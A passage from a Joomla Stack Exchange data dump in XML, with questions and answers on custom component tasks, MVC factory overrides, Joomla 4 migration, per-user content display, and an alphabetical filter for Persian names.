. ' IN (' . implode(',', $arrayOfIds) . ')');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When clicking on the icon it sets the new value - but the page got reloaded and the table is then gone, what did I have to write to block this behavior / to reload the list with the filters still set?&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&lt;/em&gt;&#xA;Ok got it now, I modified my setPayment Method in the Controller:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function setPaymentStatus($ids, $status)&#xA;    {&#xA;        $model = $this-&amp;gt;getModel('Registration');&#xA;        $model-&amp;gt;setPaymentStatus($ids, $status);&#xA;&#xA;        // Force a re-rendering of the listview and keep filter and current page thanks to input&#xA;        $url = 'index.php?option=com_componentname&amp;amp;view=registrations';&#xA;        $this-&amp;gt;setRedirect(Route::_($url, false));&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks to the input Joomla keeps the filter / listposition so the redirect itself is enough now.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2023-09-29T05:36:49.417" LastActivityDate="2023-09-29T05:36:49.417" Title="How to use Joomla.listItemTask in Custom Component" Tags="|joomla-4.x|custom-component|task|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33387" PostTypeId="2" ParentId="33340" CreationDate="2023-09-28T06:37:36.010" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;How does the getClassName() load the MyCustomSiteArticlesModel?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What this plugin does is override the MVC factory service in a given component (&lt;code&gt;com_content&lt;/code&gt; in this case). The MVC factory class is responsible for creating MVC layer objects (models, views, and controllers) and, for some reason, table objects. Model instance is created by calling &lt;code&gt;createModel()&lt;/code&gt; method defined in &lt;code&gt;Joomla\CMS\MVC\Factory\MVCFactoryInterface&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function createModel($name, $prefix = '', array $config = []);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inside this method &lt;code&gt;getClassName()&lt;/code&gt; is called to resolve the given arguments (name and prefix) to a class name. What your custom factory does is simply tell that whenever the arguments resolve to &lt;code&gt;Joomla\Component\Content\Site\Model\ArticlesModel&lt;/code&gt; class (i.e. frontend articles model), your custom class should be used instead. The model instance is created later inside &lt;code&gt;createModel()&lt;/code&gt; method. If you wanted to make other customizations, such as change how the model is instantiated or what dependencies are injected, you'd have to override the whole &lt;code&gt;createModel()&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Where should the overridden MyCustomSiteArticlesModel class be located?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In theory it could be anywhere. The class name and the way it's loaded is an implementation detail of your factory. In fact, allowing custom class name and directory structure conventions is one of the key points of having a factory in the first place. For simplicity you should stick to using the built-in PSR4 autoloader so you wouldn't have to manually look up and load files using statements like &lt;code&gt;require_once&lt;/code&gt;. As mentioned in the linked answer, there are some pieces of code that may derive certain variables from the model name. Using a name like &lt;code&gt;MyCompany\Plugin\System\MyPlugin\Model\ArticlesModel&lt;/code&gt; instead of &lt;code&gt;MyCompany\Plugin\System\MyPlugin\Model\MyCustomSiteArticlesModel&lt;/code&gt; should be safer in that regard.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is this the correct approach to make this work on Joomla Article Blog posts?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is certainly better than using autoloader hacks or some other magic code. This uses a somewhat documented API and is as close as it gets to being the correct approach. But it's questionable whether extending components can be considered correct at all. First, there is a policy issue. Maintainers can't seem to decide whether core components belong to the public API and thus fall under B/C promise or not. Because of that, breaking changes may be introduced at any point, some services could be removed and your plugin would stop working. So you're really relying on implementation details. Then there's the question of interaction between multiple extensions. Other extensions could be overriding the same code, also introducing breaking changes for your plugin.&lt;/p&gt;&#xA;&lt;p&gt;Finally, if you want to be &lt;em&gt;actually correct&lt;/em&gt;, there is a major issue with the plugin code itself. Since multiple extensions could be overriding services, all classes should really be decorated and that increases the complexity &lt;em&gt;a lot&lt;/em&gt;. For starters, use &lt;code&gt;Joomla\DI\Container::extend()&lt;/code&gt; method to decorate the service. This provides the previously registered service which you can then inject into your service. Then, proxy all calls to the original service, except where you need implement your changes. So the new factory could look something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$container-&amp;gt;extend(&#xA;    MVCFactoryInterface::class,&#xA;    fn ($mvcFactory) =&amp;gt; new class($mvcFactory, $this-&amp;gt;app) implements MVCFactoryInterface&#xA;    {&#xA;        public function __construct(private MVCFactoryInterface $mvcFactory, private CMSApplicationInterface $app)&#xA;        {&#xA;        }&#xA;&#xA;        public function createModel($name, $prefix = '', array $config = [])&#xA;        {&#xA;            $model = $this-&amp;gt;mvcFactory-&amp;gt;createModel($name, $prefix, $config);&#xA;&#xA;            if (!$model instanceof ArticlesModel)&#xA;            {&#xA;                return $model;&#xA;            }&#xA;&#xA;            return new MyCustomSiteArticlesModel($model, $config);&#xA;        }&#xA;&#xA;        public function createView($name, $prefix = '', $type = '', array $config = [])&#xA;        {&#xA;            return $this-&amp;gt;mvcFactory-&amp;gt;createView($name, $prefix, $config);&#xA;        }&#xA;&#xA;        public function createController($name, $prefix, array $config, CMSApplicationInterface $app, Input $input)&#xA;        {&#xA;            return $this-&amp;gt;mvcFactory-&amp;gt;createController($name, $prefix, $config, $this-&amp;gt;app, $this-&amp;gt;app-&amp;gt;getInput());&#xA;        }&#xA;&#xA;        public function createTable($name, $prefix = '', array $config = [])&#xA;        {&#xA;            return $this-&amp;gt;mvcFactory-&amp;gt;createTable($name, $prefix, $config);&#xA;        }&#xA;    }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see, there's a lot more code now and that's just the MVC factory. You need to do the exact same thing in your custom model to ensure that overrides are properly respected. Overall, it might be simpler to write your own component with a single view/model.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-09-28T06:37:36.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33388" PostTypeId="2" ParentId="33386" CreationDate="2023-09-28T07:57:02.573" Score="2" Body="&lt;p&gt;Controller task methods in Joomla do not accept any arguments. They should read data from &lt;code&gt;Joomla\Input\Input&lt;/code&gt; object. The key to read depends on your HTML markup. It is the name of the element with ID passed to &lt;code&gt;Joomla.listItemTask()&lt;/code&gt;. In core components it's usually &lt;code&gt;cid&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function setpaid()&#xA;{&#xA;    $ids = (array) $this-&amp;gt;input-&amp;gt;get('cid', [], 'int');&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-09-28T07:57:02.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33389" PostTypeId="1" CreationDate="2023-10-02T07:26:55.280" Score="1" ViewCount="181" Body="&lt;p&gt;In Joomla 3 I used the following code. What do I need to change to use it with Joomla 4?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;$rootFolder = explode(DS,dirname(__FILE__));&#xA;   &#xA;//current level in diretoty structure&#xA;$currentfolderlevel = 1;&#xA;&#xA;array_splice($rootFolder,-$currentfolderlevel);&#xA;&#xA;$base_folder = implode(DS,$rootFolder);&#xA;&#xA;&#xA;if(is_dir($base_folder.DS.'libraries'.DS.'joomla'))   &#xA;{&#xA;   &#xA;   define( '_JEXEC', 1 );&#xA;   &#xA;   define('JPATH_BASE',implode(DS,$rootFolder));&#xA;   &#xA;   require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;        require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;        $userid='';&#xA;&#xA;@$mainframe =&amp;amp; JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;@$user =&amp;amp; JFactory::getUser();&#xA;$username = $user-&amp;gt;get('username');&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17350" LastEditorUserId="13472" LastEditDate="2023-10-02T14:01:11.140" LastActivityDate="2023-10-02T23:13:17.497" Title="Standalone PHP script to get username in Joomla 4?" Tags="|php|joomla-4.x|mysql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33390" PostTypeId="2" ParentId="32522" CreationDate="2023-10-02T12:38:47.773" Score="0" Body="&lt;p&gt;Actually u have to go to component&amp;gt; JCE pro&amp;gt; Profiles&amp;gt; Default&amp;gt; features/layout &amp;gt; scroll all the way down till Editor State &amp;gt; turn it on :)&lt;/p&gt;&#xA;" OwnerUserId="17351" LastActivityDate="2023-10-02T12:38:47.773" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33391" PostTypeId="2" ParentId="33389" CreationDate="2023-10-02T23:13:17.497" Score="1" Body="&lt;p&gt;The first thing you need to do is to replace the first part of your code that establishes the Site instance of Joomla 4. In this answer you will find sample code that provides for accessing the four modes of Joomla 4, Site, Admin, Cli and Api, &lt;a href=&quot;https://joomla.stackexchange.com/questions/33140/how-to-create-an-instance-of-the-joomla-cms-from-the-browser-or-the-command-line&quot;&gt;How to create an instance of the Joomla CMS from the browser or the command line&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In your example you appear to need the first group of settings in Part 1 of the example, to get the Site application instantiated.&lt;/p&gt;&#xA;&lt;p&gt;Once you have the Joomla instance you can then use a number of different approaches to get the username.&lt;/p&gt;&#xA;&lt;p&gt;To get the current user object as per your example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = Factory::getApplication()-&amp;gt;getIdentity()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Introduced in Joomla 4.2 you can add the CurrentUserTrait to your class and use a simpler format of  getCurrentUser() in code. The same Trait also allows you to setCurrentUser()&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\User\CurrentUserTrait;&#xA;....&#xA;use CurrentUserTrait;&#xA;....&#xA;$user = $this-&amp;gt;getCurrentUser()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you have the Id of a user you want you can use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\User\UserFactoryInterface;&#xA;...&#xA;$userFactory = $container-&amp;gt;get(UserFactoryInterface::class);&#xA;$user = $userFactory-&amp;gt;loadUserById($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or you can use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$userFactory = $container-&amp;gt;get('user.factory');&#xA;$user = $userFactory-&amp;gt;loadUserById($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or similar to the Joomla 3 method&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = Factory::getUser($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once you have the user object in $user you can use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$username = $user-&amp;gt;username;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to get what is needed.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-10-02T23:13:17.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33392" PostTypeId="1" CreationDate="2023-10-03T08:41:04.603" Score="0" ViewCount="78" Body="&lt;p&gt;Looking to simply add some text to a  element which appears on the homepage - this would take me ten seconds in HTML but I can't find where it's located in the Joomla control panel. I've looked in the template file, in all of the articles, and all of the extensions -&amp;gt; modules.&lt;/p&gt;&#xA;&lt;p&gt;I'm a Joomla newbie so any help is appreciated - looking to simply try and update a website for a friend. I'm going crazy. Any help or advice would be amazing - thank you! I'm on Joomla 3.10.11.&lt;/p&gt;&#xA;" OwnerUserId="17353" LastActivityDate="2023-10-03T08:41:04.603" Title="Where can I find/edit &lt;div&gt; elements in Joomla 3.10?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="25" ContentLicense="CC BY-SA 4.0" />
  <row Id="33393" PostTypeId="1" AcceptedAnswerId="33397" CreationDate="2023-10-03T22:08:48.497" Score="0" ViewCount="39" Body="&lt;p&gt;I have some information/data that is personal (not necessarily secret) and I want a menu entry to show the information relevant for the logged in user.&lt;/p&gt;&#xA;&lt;p&gt;On the page there are also some common information, so having separate articles are impractical.&lt;/p&gt;&#xA;&lt;p&gt;What are my options? I have seen plugins that selected content based on ACL or userids, but all of them seems to have gone missing.&lt;/p&gt;&#xA;&lt;p&gt;Are there other &amp;quot;standard&amp;quot; options that I'm not aware of?&lt;/p&gt;&#xA;&lt;p&gt;If I were to write myself a plugin, what are good resources for this particular type of plugin?&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2023-10-05T09:37:42.193" Title="What are some options to show different parts of an article to different users?" Tags="|acl|content-filtering|content-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33394" PostTypeId="2" ParentId="33393" CreationDate="2023-10-03T22:43:04.397" Score="1" Body="&lt;p&gt;In the past I have used Articles Anywhere from Regular Labs, &lt;a href=&quot;https://regularlabs.com/articlesanywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://regularlabs.com/articlesanywhere&lt;/a&gt;, to do something that sounds similar to what you are describing.&lt;/p&gt;&#xA;&lt;p&gt;The common information is placed in an article that has a viewing level of Public while the private or limited access information is placed in article(s) with an ACL viewing level to limit who can see the restricted information.&lt;/p&gt;&#xA;&lt;p&gt;Use Articles Anywhere tags to include the private articles within the 'common' article or you can create another article that uses AA to include the common and the private articles. The context of your requirement will determine which approach is best for you.&lt;/p&gt;&#xA;&lt;p&gt;When viewing the 'parent' or base article, all visitors will see the common information and if they are logged in they will see the additional private information they are entitled to according to their ACL for the private article(s).&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-10-03T22:43:04.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33396" PostTypeId="2" ParentId="31518" CreationDate="2023-10-05T08:39:57.930" Score="0" Body="&lt;p&gt;Link is old and here is new Link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.3.4/administrator/components/com_content/src/Extension/ContentComponent.php#L144&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.3.4/administrator/components/com_content/src/Extension/ContentComponent.php#L144&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17358" LastActivityDate="2023-10-05T08:39:57.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33397" PostTypeId="2" ParentId="33393" CreationDate="2023-10-05T09:37:42.193" Score="0" Body="&lt;p&gt;I ended up downloading the &lt;a href=&quot;https://documentation.form2content.com/f2c-extensions/joomla-content-restriction-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSD Content Restriction plugin&lt;/a&gt;. The actual download has disappeared and gives you a 404, but I dug it up using Wayback Machine. I fixed the few incompatibilities in the source code and have it working in Joomla 4/PHP 8.2.&lt;/p&gt;&#xA;&lt;p&gt;It allows you to conditionally show parts of an article, and one of the conditions are &lt;code&gt;{user NN}&lt;/code&gt;. E.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;This is common content. {user 101}And this is only for user 100.{/user}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2023-10-05T09:37:42.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33398" PostTypeId="1" AcceptedAnswerId="33399" CreationDate="2023-10-06T18:39:42.063" Score="0" ViewCount="62" Body="&lt;p&gt;I used this simple php gallery from a folder on my Joomla 3 site.&#xA;Now I'm getting ready to do an update to Joomla 4 and I noticed that I have a problem with displaying images from the directory.&#xA;if I add &amp;quot;echo $dir;&amp;quot; to test it gives me the correct path, although the image is not displayed. When I click &amp;quot;Open image in new tab&amp;quot; on the space where the image should be, the &amp;quot;Joomla Menu alias&amp;quot; is added to the correct path of the image and no image again.&lt;/p&gt;&#xA;&lt;p&gt;I would note that this code worked fine on Joomla 3. Where is the error?&#xA;Note: $alias2 is defined before, but I didn't copy that part of the code because it's irrelevant&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; // (B) GET IMAGES IN GALLERY FOLDER &#xA;$current_directory = getcwd();&#xA;$dir = $current_directory . '/2000/images/' . $alias2 . '/tmp/';&#xA;$images = glob(&amp;quot;$dir*.{jpg,jpeg,gif,png,bmp,webp}&amp;quot;, GLOB_BRACE);&#xA;&#xA;  // (C) OUTPUT IMAGES&#xA;$imageCount = count($images);&#xA;&#xA; foreach ($images as $i) {&#xA;   $img = basename($i);&#xA;   $caption = substr($img, 0, strrpos($img, &amp;quot;.&amp;quot;));&#xA;   printf(&amp;quot;&amp;lt;figure&amp;gt;&amp;lt;img src='2000/images/&amp;quot;.$alias2.&amp;quot;/tmp/%s'&amp;gt;&amp;lt;figcaption&amp;gt;%s&amp;lt;/figcaption&amp;gt;&amp;quot;, &#xA;     rawurlencode($img), $caption&#xA;   );&#xA;   }&#xA;   ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11762" LastEditorUserId="11762" LastEditDate="2023-10-06T19:18:38.413" LastActivityDate="2023-10-07T14:22:00.927" Title="My script doesn't work on joomla 4" Tags="|php|joomla-4.x|menu-item|images|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33399" PostTypeId="2" ParentId="33398" CreationDate="2023-10-07T14:22:00.927" Score="0" Body="&lt;p&gt;The problem was in this line of code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;printf(&amp;quot;&amp;lt;figure&amp;gt;&amp;lt;img src='2000/images/&amp;quot;.$alias2.&amp;quot;/tmp/%s'&amp;gt;&amp;lt;figcaption&amp;gt;%s&amp;lt;/figcaption&amp;gt;&amp;quot;, &#xA;     rawurlencode($img), $caption &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I typed the full url here and it works now.&lt;/p&gt;&#xA;&lt;p&gt;Thanks everyone&lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2023-10-07T14:22:00.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33400" PostTypeId="1" AcceptedAnswerId="33401" CreationDate="2023-10-09T05:33:34.017" Score="2" ViewCount="340" Body="&lt;p&gt;Before anything, I must say this code works as well for the English language, but in Persian it never works.&lt;/p&gt;&#xA;&lt;p&gt;I use this code on &lt;strong&gt;model/celebrities.php&lt;/strong&gt;.&#xA;This code shows my frontend model:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class AvisamoviedbModelCelebrities extends ListModel&#xA;{&#xA;&#xA;    protected function populateState($ordering = null, $direction = null)&#xA;    {&#xA;        $app     = Factory::getApplication('site');&#xA;        $params = $app-&amp;gt;getParams();&#xA;        $this-&amp;gt;setState('list.start', $app-&amp;gt;input-&amp;gt;get('limitstart',0,'unit'));&#xA;        $limit  = $params-&amp;gt;get('celebrities_limit');&#xA;        $this-&amp;gt;setState('list.limit', $limit);&#xA;    }&#xA;    /**&#xA;     * Method to get a JDatabaseQuery object for retrieving the data set from a database.&#xA;     *&#xA;     * @return  JDatabaseQuery   A JDatabaseQuery object to retrieve the data set.&#xA;     *&#xA;     * @since   1.0.0&#xA;     */&#xA;    public function getListQuery($overrideLimits = false)&#xA;    {&#xA;        if (Factory::getApplication()-&amp;gt;isClient('site')) {&#xA;            // Get Params&#xA;            $app             = Factory::getApplication();&#xA;            $params           = $app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;getParams(); // get the active item&#xA;            $order_by         = $params-&amp;gt;get('order_by', '');&#xA;            $celebrity_type = $params-&amp;gt;get('celebrities_type', '');&#xA;            $gender         = $params-&amp;gt;get('gender', '');&#xA;        }&#xA;&#xA;        $inputs = Factory::getApplication()-&amp;gt;input;&#xA;        $alphaindex = $inputs-&amp;gt;get('alphaindex', '', 'WORD');&#xA;&#xA;        //for celebrities per page limit&#xA;        $cparams = ComponentHelper::getParams('com_avisamoviedb');&#xA;        $start     = $app-&amp;gt;input-&amp;gt;get('start', 0, 'INT');&#xA;        $limit   = $cparams-&amp;gt;get('celebrities_limit');&#xA;&#xA;        $db = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;&#xA;        $query-&amp;gt;select(array('a.*'));&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('#__avisamoviedb_celebrities', 'a'));&#xA;&#xA;        if (Factory::getApplication()-&amp;gt;isClient('site')) {&#xA;&#xA;            if ($alphaindex) {&#xA;                $query-&amp;gt;where($db-&amp;gt;quoteName('a.title') . &amp;quot; LIKE &amp;quot; . $db-&amp;gt;quote(($alphaindex) . '%'));&#xA;            }&#xA;&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('a.published') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote('1'));&#xA;            $query-&amp;gt;setLimit($limit, $start);&#xA;&#xA;            if ($order_by == 'desc') {&#xA;                $query-&amp;gt;order($db-&amp;gt;quoteName('a.created') . ' DESC');&#xA;            } elseif ($order_by == 'asc') {&#xA;                $query-&amp;gt;order($db-&amp;gt;quoteName('a.created') . ' ASC');&#xA;            } elseif ($order_by == 'featured') {&#xA;                $query-&amp;gt;where($db-&amp;gt;quoteName('a.featured') . ' = 1');&#xA;                $query-&amp;gt;order($db-&amp;gt;quoteName('a.ordering') . ' DESC');&#xA;            } else {&#xA;                $query-&amp;gt;order($db-&amp;gt;quoteName('a.ordering') . ' DESC');&#xA;            }&#xA;&#xA;            if ($celebrity_type == 'actors') {&#xA;                $query-&amp;gt;where('a.celebrity_type in (' . $db-&amp;gt;quote('actor') . ',' . $db-&amp;gt;quote('both') . ')');&#xA;            } elseif ($celebrity_type == 'directors') {&#xA;                $query-&amp;gt;where('a.celebrity_type in (' . $db-&amp;gt;quote('director') . ',' . $db-&amp;gt;quote('both') . ')');&#xA;            }&#xA;&#xA;            if ($gender == 'male') {&#xA;                $query-&amp;gt;where($db-&amp;gt;quoteName('a.gender') . ' = ' . $db-&amp;gt;quote('male'));&#xA;            } elseif ($gender == 'female') {&#xA;                $query-&amp;gt;where($db-&amp;gt;quoteName('a.gender') . ' = ' . $db-&amp;gt;quote('female'));&#xA;            } elseif ($gender == 'others') {&#xA;                $query-&amp;gt;where($db-&amp;gt;quoteName('a.gender') . ' = ' . $db-&amp;gt;quote('others'));&#xA;            }&#xA;&#xA;            //Language&#xA;            $query-&amp;gt;where('a.language in (' . $db-&amp;gt;quote(Factory::getLanguage()-&amp;gt;getTag()) . ',' . $db-&amp;gt;quote('*') . ')');&#xA;            //Access&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('a.access') . &amp;quot; IN (&amp;quot; . implode(',', Factory::getUser()-&amp;gt;getAuthorisedViewLevels()) . &amp;quot;)&amp;quot;);&#xA;        } else {&#xA;            $query-&amp;gt;order($db-&amp;gt;quoteName('a.ordering') . ' DESC');&#xA;        }&#xA;&#xA;        return $query;&#xA;    }&#xA;&#xA;    /**&#xA;     * get total celebrity&#xA;     *&#xA;     * @return mixed&#xA;     */&#xA;    public static function getCountCelebrities()&#xA;    {&#xA;        $db = Factory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select(array('COUNT(a.id) as total_celebrities'));&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('#__avisamoviedb_celebrities', 'a'));&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('a.published') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote('1'));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        return $db-&amp;gt;loadObject();&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this code to &lt;strong&gt;site/view/celebrities/view.html.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class AvisamoviedbViewCelebrities extends HtmlView&#xA;{&#xA;&#xA;    protected $items;&#xA;    protected $pagination;&#xA;&#xA;    /**&#xA;     * Display the view&#xA;     *&#xA;     * @param   string    The name of the template file to parse; automatically searches through the template paths.&#xA;     *&#xA;     * @return  mixed  A string if successful, otherwise an Error object.&#xA;     */&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $model = $this-&amp;gt;getModel();&#xA;        $this-&amp;gt;pagination  = $model-&amp;gt;getPagination();&#xA;        $this-&amp;gt;items = $model-&amp;gt;getItems();&#xA;&#xA;        $params = ComponentHelper::getParams('com_avisamoviedb');&#xA;        $this-&amp;gt;columns = $params-&amp;gt;get('celebrities_columns', 4);&#xA;&#xA;        // Get model&#xA;        $this-&amp;gt;total_celebrities = $model-&amp;gt;getCountCelebrities()-&amp;gt;total_celebrities ?? 0;&#xA;        $this-&amp;gt;alphabets = ['ا', 'ب', 'پ', 'ت', 'ث', 'ج', 'چ', 'ح', 'خ', 'د', 'ذ', 'ر', 'ز', 'ژ', 'س', 'ش', 'ص', 'ض', 'ط', 'ظ', 'ع', 'غ', 'ف', 'ق', 'ک', 'گ', 'ل', 'م', 'ن', 'و', 'ه', 'ی'];&#xA;&#xA;        foreach ($this-&amp;gt;items as &amp;amp;$this-&amp;gt;item) {&#xA;            $this-&amp;gt;item-&amp;gt;url = Route::_('index.php?option=com_avisamoviedb&amp;amp;view=celebrity&amp;amp;id=' . $this-&amp;gt;item-&amp;gt;id . ':' . $this-&amp;gt;item-&amp;gt;alias . AvisamoviedbHelper::getItemid('celebrities'));&#xA;        }&#xA;&#xA;        return parent::display($tpl = null);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this one to &lt;strong&gt;site/view/celebrities/tmpl/default.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;$input = Factory::getApplication()-&amp;gt;input;&#xA;$Itemid = $input-&amp;gt;get('Itemid', 0, 'INT');&#xA;$alphaindex = $input-&amp;gt;get('alphaindex', 'all', 'WORD');&#xA;&#xA;$allAlphaUrl = 'index.php?option=com_avisamoviedb&amp;amp;view=celebrities&amp;amp;Itemid=' . $Itemid;&#xA;&#xA;if ($alphaindex) {&#xA;    $alphaUrl = 'index.php?option=com_avisamoviedb&amp;amp;view=celebrities&amp;amp;alphaindex=' . $alphaindex . '&amp;amp;Itemid=' . $Itemid;&#xA;} else {&#xA;    $alphaUrl = 'index.php?option=com_avisamoviedb&amp;amp;view=celebrities&amp;amp;Itemid=' . $Itemid;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&amp;quot;com-avisa-moviedb&amp;quot; class=&amp;quot;avisamoviedb avisa-moviedb avisa-moviedb-view-celebrities&amp;quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&amp;quot;moviedb-filters&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;pull-left&amp;quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li class=&amp;quot;&amp;lt;?php echo ($alphaindex == 'all') ? 'active' : ''; ?&amp;gt;&amp;quot;&amp;gt;&#xA;                    &amp;lt;a href=&amp;quot;&amp;lt;?php echo Route::_($allAlphaUrl); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo Text::_('COM_AVISAMOVIEDB_ALL'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php foreach ($this-&amp;gt;alphabets as $alphabet) { ?&amp;gt;&#xA;                    &amp;lt;li class=&amp;quot;&amp;lt;?php echo ($alphaindex == $alphabet) ? 'active' : ''; ?&amp;gt;&amp;quot;&amp;gt;&#xA;                        &amp;lt;a href=&amp;quot;&amp;lt;?php echo Route::_($alphaUrl . '&amp;amp;alphaindex=' . $alphabet); ?&amp;gt;&amp;quot;&amp;gt;&#xA;                            &amp;lt;?php echo $alphabet; ?&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;pull-right&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo Text::_('COM_AVISAMOVIEDB_TOTAL'); ?&amp;gt;:&#xA;            &amp;lt;strong&amp;gt;&amp;lt;?php echo $this-&amp;gt;total_celebrities; ?&amp;gt;&amp;lt;/strong&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php if (!count($this-&amp;gt;items)) { 